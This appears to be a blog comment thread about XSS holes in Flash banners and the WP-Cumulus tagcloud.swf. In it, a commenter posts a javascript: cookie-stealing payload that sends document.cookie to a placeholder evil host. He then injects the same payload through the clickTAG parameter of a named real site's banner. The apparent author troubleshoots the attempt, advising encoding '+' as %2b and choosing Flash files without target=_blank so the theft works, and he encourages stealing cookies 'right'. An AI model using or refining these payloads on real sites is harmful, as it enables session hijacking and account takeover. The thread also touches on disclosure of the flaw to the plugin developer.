I’m glad that you liked it.

Thanks

You are welcome.

First, you can use XSS holes not only for cookie stealing, but also for other attacks (like advanced XSS attacks or attacking browsers of the users with exploits).

Second, you can steal cookies if you want. Just do it right .

There seem to be a problem with the “+document.cookie” (or ‘+’ anything) part…

Flash banner at wildlifefocus.com is using target=_blank. And as I wrote in my article, in such flash files it’s not possible to get to cookies in Internet Explorer (particularly IE6), Mozilla and Google Chrome. The code will be executed not in context of the site.

But it works in Firefox 3 and Opera 9.52 - in these browsers the code will be executed in context of the site. But they still don’t give you normal possibility to read cookies. I.e. they give you to read test cookies (which were added to the browser, e.g. via Cookie Editor plugin for Firefox), but not read sites cookies.

So, first, you need to find flash file without target=_blank.

Second, use %2b instead of +. And the attack will work.

Here is an example for wie-man-sieht.net.

Ok, ok, let’s get to the point:

However may be able to use javascript to read the session cookies and sent it to another site to save it and use someone else his/her acount.

Example:

Run this code on the website you want to steal the cookie….
[code]
javascript:window.open(”http://JIETSEVILSITE.EVIL?stolencookie=”+document.cookie , “New”, “width=1,height=1,scrollbars=no”)
[/code]

But it just doesn’t seem to work if I put it after a ‘clickTAG’…
Example:

[code]
http://www.wildlifefocus.com/NLD/Sponsors/DaimlerChrysler_banner_468X60.swf?clickTAG=javascript:window.open(”http://JIETSEVILSITE.EVIL?stolencookie=”+document.cookie , “New”, width=1,height=1,scrollbars=no”)
[/code]

It opens a new window, but doesn’t sent the cookie to your site.
Or asks you if you want to save the file or just doesn’t open at all…
Depending on the browser.

There seem to be a problem with the “+document.cookie” (or ‘+’ anything) part… But Why?

So for now only XSS hole in WP-Cumulus is fixed. And it’s unknown if HTML Injection hole will be fixed.

Yes, I know it. After I informed developer of WP-Cumulus in November, Roy fixed XSS hole and wrote a post about it.

But he didn’t fix HTML Injection, so every tagcloud.swf file (with or without fixed XSS hole) can be used for HTML Injection attacks. I wrote about it in my article XSS vulnerabilities in 34 millions flash files.